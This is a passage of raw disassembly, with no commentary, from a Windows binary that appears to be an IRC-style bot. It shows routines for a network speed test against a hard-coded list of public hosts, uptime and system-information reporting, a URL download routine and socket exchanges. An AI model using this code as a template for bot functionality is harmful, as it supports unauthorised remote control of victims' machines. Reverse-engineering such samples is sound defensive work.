[ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_4276EC fmul flt_4276E8 call sub_41D174 loc_41ABD9: ; CODE XREF: sub_41AA1E+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41ABDE: ; CODE XREF: sub_41AA1E+149j push [ebp+var_4] call dword_4CBA6C push [ebp+var_8] call sub_41BA91 push esi call sub_41BA91 pop ecx pop ecx loc_41ABF7: ; CODE XREF: sub_41AA1E+19j ; sub_41AA1E+42j ... xor eax, eax jmp short loc_41ABD9 sub_41AA1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ABFB proc near ; CODE XREF: sub_401ACD+2E1Ep var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41AA04 push [ebp+eax*4+var_3C] call sub_41AA1E push 8 mov esi, eax call sub_41AA04 push [ebp+eax*4+var_3C] call sub_41AA1E add esp, 10h test esi, esi jz short loc_41ACFC test eax, eax jz short loc_41ACF8 lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41ACFE ; --------------------------------------------------------------------------- loc_41ACF8: ; CODE XREF: sub_41ABFB+F4j mov ebx, esi jmp short loc_41ACFE ; --------------------------------------------------------------------------- loc_41ACFC: ; CODE XREF: sub_41ABFB+F0j mov ebx, eax loc_41ACFE: ; CODE XREF: sub_41ABFB+FBj ; sub_41ABFB+FFj push 0Ch call sub_41AA04 push [ebp+eax*4+var_6C] call sub_41AA1E push 0Ch mov edi, eax call sub_41AA04 push [ebp+eax*4+var_6C] call sub_41AA1E add esp, 10h test edi, edi jz short loc_41AD36 test eax, eax jz short loc_41AD32 lea esi, [eax+edi] shr esi, 1 jmp short loc_41AD38 ; --------------------------------------------------------------------------- loc_41AD32: ; CODE XREF: sub_41ABFB+12Ej mov esi, edi jmp short loc_41AD38 ; --------------------------------------------------------------------------- loc_41AD36: ; CODE XREF: sub_41ABFB+12Aj mov esi, eax loc_41AD38: ; CODE XREF: sub_41ABFB+135j ; sub_41ABFB+139j push 6 call sub_41AA04 push [ebp+eax*4+var_1C] call sub_41AA1E push 6 mov edi, eax call sub_41AA04 push [ebp+eax*4+var_1C] call sub_41AA1E add esp, 10h test edi, edi jz short loc_41AD70 test eax, eax jz short loc_41AD6C lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41AD72 ; --------------------------------------------------------------------------- loc_41AD6C: ; CODE XREF: sub_41ABFB+168j mov ecx, edi jmp short loc_41AD72 ; --------------------------------------------------------------------------- loc_41AD70: ; CODE XREF: sub_41ABFB+164j mov ecx, eax loc_41AD72: ; CODE XREF: sub_41ABFB+16Fj ; sub_41ABFB+173j xor eax, eax test ebx, ebx jz short loc_41AD7F mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41AD82 ; --------------------------------------------------------------------------- loc_41AD7F: ; CODE XREF: sub_41ABFB+17Bj push 2 pop edi loc_41AD82: ; CODE XREF: sub_41ABFB+182j test esi, esi jz short loc_41AD8A add eax, esi jmp short loc_41AD8B ; --------------------------------------------------------------------------- loc_41AD8A: ; CODE XREF: sub_41ABFB+189j dec edi loc_41AD8B: ; CODE XREF: sub_41ABFB+18Dj test ecx, ecx jz short loc_41AD93 add eax, ecx jmp short loc_41AD94 ; --------------------------------------------------------------------------- loc_41AD93: ; CODE XREF: sub_41ABFB+192j dec edi loc_41AD94: ; CODE XREF: sub_41ABFB+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_43A990 push eax call sub_41C266 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_26C] push eax call sub_415D38 add esp, 30h pop edi pop esi pop ebx leave retn sub_41ABFB endp ; =============== S U B R O U T I N E ======================================= sub_41ADD8 proc near ; CODE XREF: sub_401ACD+257Bp ; sub_401ACD+29CDp ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 26A07AFh xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DBC90 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41C360 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41ADD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE41 proc near ; CODE XREF: sub_4172C1+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 26F0000h test eax, eax jz short loc_41AED4 cmp [ebp+var_90], 4 jnz short loc_41AEAA cmp [ebp+var_8C], esi jnz short loc_41AE92 cmp [ebp+var_84], 1 jnz short loc_41AE85 push 1 pop esi loc_41AE85: ; CODE XREF: sub_41AE41+3Fj cmp [ebp+var_84], 2 jnz short loc_41AED4 push 1 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AE92: ; CODE XREF: sub_41AE41+36j cmp [ebp+var_8C], 0Ah jnz short loc_41AE9F loc_41AE9B: ; CODE XREF: sub_41AE41+78j push 2 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AE9F: ; CODE XREF: sub_41AE41+58j cmp [ebp+var_8C], 5Ah jnz short loc_41AED4 jmp short loc_41AEC4 ; --------------------------------------------------------------------------- loc_41AEAA: ; CODE XREF: sub_41AE41+2Ej cmp [ebp+var_90], 5 jnz short loc_41AED4 cmp [ebp+var_8C], esi jz short loc_41AE9B cmp [ebp+var_8C], 1 jnz short loc_41AEC8 loc_41AEC4: ; CODE XREF: sub_41AE41+67j push 3 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AEC8: ; CODE XREF: sub_41AE41+81j cmp [ebp+var_8C], 2 jnz short loc_41AED4 push 7 loc_41AED3: ; CODE XREF: sub_41AE41+4Fj ; sub_41AE41+5Cj ... pop esi loc_41AED4: ; CODE XREF: sub_41AE41+25j ; sub_41AE41+4Bj ... mov eax, esi pop esi leave retn sub_41AE41 endp ; =============== S U B R O U T I N E ======================================= sub_41AED9 proc near ; CODE XREF: sub_41AF8F+290p push ebx push esi push edi mov esi, 0F4240h loc_41AEE1: ; CODE XREF: sub_41AED9+2Fj ; sub_41AED9+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 2680EF8h rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41DCB0 mov edi, edx mov ebx, eax test edi, edi ja short loc_41AEE1 jb short loc_41AF10 cmp ebx, esi ja short loc_41AEE1 loc_41AF10: ; CODE XREF: sub_41AED9+31j push 0 push 64h push edi push ebx call sub_41DD20 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AF83 jb short loc_41AF2F cmp esi, 50h jnb short loc_41AF34 loc_41AF2F: ; CODE XREF: sub_41AED9+4Fj push 4Bh xor edx, edx pop eax loc_41AF34: ; CODE XREF: sub_41AED9+54j test ecx, ecx ja short loc_41AF83 jb short loc_41AF3F cmp esi, 47h jnb short loc_41AF44 loc_41AF3F: ; CODE XREF: sub_41AED9+5Fj push 42h xor edx, edx pop eax loc_41AF44: ; CODE XREF: sub_41AED9+64j test ecx, ecx ja short loc_41AF83 jb short loc_41AF4F cmp esi, 37h jnb short loc_41AF54 loc_41AF4F: ; CODE XREF: sub_41AED9+6Fj push 32h xor edx, edx pop eax loc_41AF54: ; CODE XREF: sub_41AED9+74j test ecx, ecx ja short loc_41AF83 jb short loc_41AF5F cmp esi, 26h jnb short loc_41AF64 loc_41AF5F: ; CODE XREF: sub_41AED9+7Fj push 21h xor edx, edx pop eax loc_41AF64: ; CODE XREF: sub_41AED9+84j test ecx, ecx ja short loc_41AF83 jb short loc_41AF6F cmp esi, 1Eh jnb short loc_41AF74 loc_41AF6F: ; CODE XREF: sub_41AED9+8Fj push 19h xor edx, edx pop eax loc_41AF74: ; CODE XREF: sub_41AED9+94j test ecx, ecx ja short loc_41AF83 jb short loc_41AF7F cmp esi, 0Ah jnb short loc_41AF83 loc_41AF7F: ; CODE XREF: sub_41AED9+9Fj xor eax, eax xor edx, edx loc_41AF83: ; CODE XREF: sub_41AED9+4Dj ; sub_41AED9+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41AED9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF8F proc near ; CODE XREF: sub_401ACD+2728p var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_43DB88 mov [ebp+var_CC], 94h nop call near ptr 26F0000h xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41B016 cmp [ebp+var_C4], ebx jnz short loc_41AFF2 cmp [ebp+var_BC], 1 jnz short loc_41AFDC mov [ebp+var_4], offset dword_431620 loc_41AFDC: ; CODE XREF: sub_41AF8F+44j cmp [ebp+var_BC], 2 jnz loc_41B091 mov [ebp+var_4], offset dword_43161C jmp short loc_41B062 ; --------------------------------------------------------------------------- loc_41AFF2: ; CODE XREF: sub_41AF8F+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41B004 mov [ebp+var_4], offset dword_431618 jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B004: ; CODE XREF: sub_41AF8F+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41B052 mov [ebp+var_4], offset dword_431614 jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B016: ; CODE XREF: sub_41AF8F+33j cmp [ebp+var_C8], 5 jnz short loc_41B052 cmp [ebp+var_C4], ebx jnz short loc_41B030 mov [ebp+var_4], offset dword_431610 jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B030: ; CODE XREF: sub_41AF8F+96j cmp [ebp+var_C4], 1 jnz short loc_41B042 mov [ebp+var_4], offset dword_43160C jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B042: ; CODE XREF: sub_41AF8F+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41B059 loc_41B052: ; CODE XREF: sub_41AF8F+7Cj ; sub_41AF8F+8Ej mov [ebp+var_4], offset dword_431604 loc_41B059: ; CODE XREF: sub_41AF8F+73j ; sub_41AF8F+85j ... cmp [ebp+var_BC], 2 jnz short loc_41B091 loc_41B062: ; CODE XREF: sub_41AF8F+61j cmp [ebp+var_B8], bl jz short loc_41B091 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_436BB4 push eax call sub_41C266 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41B091: ; CODE XREF: sub_41AF8F+54j ; sub_41AF8F+D1j ... mov ax, word_4383AC push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CB8B4 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41B0CA lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41B0CA: ; CODE XREF: sub_41AF8F+12Cj push [ebp+arg_4] call sub_40AA06 pop ecx push eax call dword_4CBA14 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CB98C cmp eax, ebx jz short loc_41B0F3 push dword ptr [eax] jmp short loc_41B0F8 ; --------------------------------------------------------------------------- loc_41B0F3: ; CODE XREF: sub_41AF8F+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41B0F8: ; CODE XREF: sub_41AF8F+162j lea eax, [ebp+var_3E4] push eax call sub_41C266 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2680A92h lea eax, [ebp+var_114] push 46h push eax push offset dword_43AC78 push ebx mov esi, 409h push ebx push esi nop call near ptr 2760000h lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi nop call near ptr 2750000h push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2860000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41C3B1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416DD9 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41ADD8 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AA06 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416CC9 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416CC9 pop ecx pop ecx push eax call sub_41AED9 push edx push eax push offset dword_43AB9C push 200h push [ebp+arg_0] call sub_41C360 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AF8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B243 proc near ; CODE XREF: sub_401ACD+2756p ; sub_401ACD+71F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41BF70 add esp, 0Ch cmp dword_4CBABC, 0 jnz short loc_41B2AF push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CB898 test eax, eax jnz short loc_41B298 lea eax, [ebp+var_8C] push offset dword_43ACF0 push eax call sub_41C266 pop ecx pop ecx loc_41B298: ; CODE XREF: sub_41B243+40j test [ebp+var_C], 1 jz short loc_41B2A5 push offset dword_43ACE8 jmp short loc_41B2AA ; --------------------------------------------------------------------------- loc_41B2A5: ; CODE XREF: sub_41B243+59j push offset off_43ACE4 loc_41B2AA: ; CODE XREF: sub_41B243+60j lea eax, [ebp+var_8] jmp short loc_41B2C7 ; --------------------------------------------------------------------------- loc_41B2AF: ; CODE XREF: sub_41B243+28j mov esi, offset off_43ACE0 lea eax, [ebp+var_8] push esi push eax call sub_41C266 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41B2C7: ; CODE XREF: sub_41B243+6Aj push eax call sub_41C266 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AA06 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43AC9C push 200h push [ebp+arg_0] call sub_41C360 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41B243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B302 proc near ; DATA XREF: sub_401ACD+757Fo var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43ADD0 call sub_41BF70 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41BF70 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41BF70 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41BF70 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41BF70 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CB8D0 test eax, eax jz loc_41B49C cmp [ebp+var_34], ebx jbe short loc_41B3D9 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41BFD0 add esp, 0Ch loc_41B3D9: ; CODE XREF: sub_41B302+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41B3F7 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41BFD0 add esp, 0Ch loc_41B3F7: ; CODE XREF: sub_41B302+DEj cmp [ebp+var_20], ebx jbe short loc_41B411 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41BFD0 add esp, 0Ch loc_41B411: ; CODE XREF: sub_41B302+F8j cmp [ebp+var_18], ebx jbe short loc_41B42B push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41BFD0 add esp, 0Ch loc_41B42B: ; CODE XREF: sub_41B302+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CB984 call dword_4CB9A8 mov esi, eax cmp esi, ebx jz short loc_41B4B4 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CB99C cmp eax, ebx mov [ebp+var_4], eax jz short loc_41B4BB push ebx push ebx push ebx push ebx push eax call dword_4CB948 test eax, eax jz short loc_41B495 push offset dword_43ADB4 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B495: ; CODE XREF: sub_41B302+18Aj push offset unk_43AD78 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B49C: ; CODE XREF: sub_41B302+B7j lea eax, [ebp+var_55C] push offset dword_43AD5C push eax call sub_41C266 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41B4CE ; --------------------------------------------------------------------------- loc_41B4B4: ; CODE XREF: sub_41B302+153j push offset unk_43AD30 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B4BB: ; CODE XREF: sub_41B302+17Bj push offset unk_43AD00 loc_41B4C0: ; CODE XREF: sub_41B302+191j ; sub_41B302+198j ... lea eax, [ebp+var_55C] push eax call sub_41C266 pop ecx pop ecx loc_41B4CE: ; CODE XREF: sub_41B302+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41B4F9 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409869 add esp, 14h loc_41B4F9: ; CODE XREF: sub_41B302+1D2j lea eax, [ebp+var_55C] push eax call sub_415D38 pop ecx push esi call dword_4CBA08 push [ebp+var_4] call dword_4CBA08 push [ebp+var_1D8] call sub_40B6D6 pop ecx push ebx call near ptr 26F0A80h nop pop edi pop esi pop ebx sub_41B302 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41B52C proc near ; CODE XREF: sub_401ACD+4F59p arg_0 = dword ptr 4 push esi push 100h mov esi, offset byte_4DBCCC push 0 push esi call sub_41BF70 add esp, 0Ch push [esp+4+arg_0] push offset aS_1 ; "%s" push 0FFh push esi call sub_41C360 add esp, 10h pop esi retn sub_41B52C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B55B proc near ; CODE XREF: ___:0041B843p ; ___:0041B860p ... var_14 = byte ptr -14h var_C = byte ptr -0Ch var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push esi push edi mov esi, offset dword_4DBDD4 lea edi, [ebp+var_C] mov ax, word_43ADD4 movsd movsb mov esi, offset dword_4DBDCC lea edi, [ebp+var_14] mov [ebp+var_2], ax mov ax, word_4346DC movsd mov [ebp+var_6], ax mov ax, word_4CB88C movsw mov [ebp+var_4], ax mov eax, [ebp+arg_8] xor esi, esi cmp eax, esi jnz loc_41B627 mov edi, [ebp+arg_0] push ebx mov ebx, [ebp+arg_4] mov [ebp+arg_8], esi loc_41B5AD: ; CODE XREF: sub_41B55B+C7j mov eax, [ebp+arg_8] sub eax, esi jz short loc_41B5CD dec eax jnz short loc_41B61B push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B5E1 ; --------------------------------------------------------------------------- loc_41B5CD: ; CODE XREF: sub_41B55B+57j push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 push esi push 1 lea eax, [ebp+var_6] loc_41B5E1: ; CODE XREF: sub_41B55B+70j push eax push edi call dword_4CBA24 push ebx call sub_41B9C0 pop ecx cmp eax, 2 push esi jnz short loc_41B5FD push 4 lea eax, [ebp+var_C] jmp short loc_41B602 ; --------------------------------------------------------------------------- loc_41B5FD: ; CODE XREF: sub_41B55B+99j push 5 lea eax, [ebp+var_14] loc_41B602: ; CODE XREF: sub_41B55B+A0j push eax push edi call dword_4CBA24 push esi push ebx call sub_41B9C0 pop ecx push eax push ebx push edi call dword_4CBA24 loc_41B61B: ; CODE XREF: sub_41B55B+5Aj inc [ebp+arg_8] cmp [ebp+arg_8], 1 jle short loc_41B5AD pop ebx jmp short loc_41B69D ; --------------------------------------------------------------------------- loc_41B627: ; CODE XREF: sub_41B55B+42j dec eax jz short loc_41B646 dec eax jnz short loc_41B69D mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B65D ; --------------------------------------------------------------------------- loc_41B646: ; CODE XREF: sub_41B55B+CDj mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 push esi push 1 lea eax, [ebp+var_6] loc_41B65D: ; CODE XREF: sub_41B55B+E9j push eax push edi call dword_4CBA24 push [ebp+arg_4] call sub_41B9C0 pop ecx cmp eax, 2 push esi jnz short loc_41B67B push 4 lea eax, [ebp+var_C] jmp short loc_41B680 ; --------------------------------------------------------------------------- loc_41B67B: ; CODE XREF: sub_41B55B+117j push 5 lea eax, [ebp+var_14] loc_41B680: ; CODE XREF: sub_41B55B+11Ej push eax push edi call dword_4CBA24 push esi push [ebp+arg_4] call sub_41B9C0 pop ecx push eax push [ebp+arg_4] push edi call dword_4CBA24 loc_41B69D: ; CODE XREF: sub_41B55B+CAj ; sub_41B55B+D0j pop edi pop esi leave retn sub_41B55B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 288h push ebx push esi push edi mov esi, offset dword_43ADEC lea edi, [ebp-38h] mov ax, word_4346DC movsd movsd movsd movsb mov esi, offset dword_43ADE8 lea edi, [ebp-1Ch] movsw movsb mov esi, offset dword_4DBDD4 lea edi, [ebp-28h] movsd movsb mov esi, offset dword_43ADE4 lea edi, [ebp-10h] movsw movsb mov esi, offset dword_43ADE0 lea edi, [ebp-14h] movsw movsb mov esi, offset dword_43ADDC lea edi, [ebp-0Ch] movsw movsb xor esi, esi mov [ebp-6], ax mov [ebp-16h], ax mov ax, word ptr aR ; "r" push esi push 1 push 2 mov [ebp-18h], ax xor edi, edi call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41B724 push eax call dword_4CBA6C loc_41B724: ; CODE XREF: ___:0041B71Bj lea eax, [ebp+0Ch] mov word ptr [ebp-48h], 2 push eax call dword_4CBA14 push dword ptr [ebp+0A8h] mov [ebp-44h], eax call dword_4CB9D4 mov [ebp-46h], ax lea eax, [ebp-48h] push 10h push eax push ebx call dword_4CB97C test eax, eax jnz loc_41B820 loc_41B75C: ; CODE XREF: ___:0041B7CEj ; ___:0041B805j push 40h lea eax, [ebp-88h] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-88h] push esi push 40h push eax push ebx call dword_4CB9EC cmp eax, esi jle loc_41B82E cmp eax, 0FFFFFFFFh jz loc_41B82E mov eax, edi sub eax, esi jz short loc_41B7D0 dec eax jz short loc_41B79E dec eax jz short loc_41B80A jmp short loc_41B800 ; --------------------------------------------------------------------------- loc_41B79E: ; CODE XREF: ___:0041B797j lea eax, [ebp-1Ch] push eax lea eax, [ebp-88h] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_41B820 lea eax, [ebp-6] push esi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp-6] push eax push ebx call dword_4CBA24 push 2 pop edi jmp short loc_41B75C ; --------------------------------------------------------------------------- loc_41B7D0: ; CODE XREF: ___:0041B794j lea eax, [ebp-38h] push eax lea eax, [ebp-88h] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_41B820 lea eax, [ebp-38h] push esi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp-38h] push eax push ebx call dword_4CBA24 push 1 pop edi loc_41B800: ; CODE XREF: ___:0041B79Cj cmp edi, 3 jz short loc_41B82E jmp loc_41B75C ; 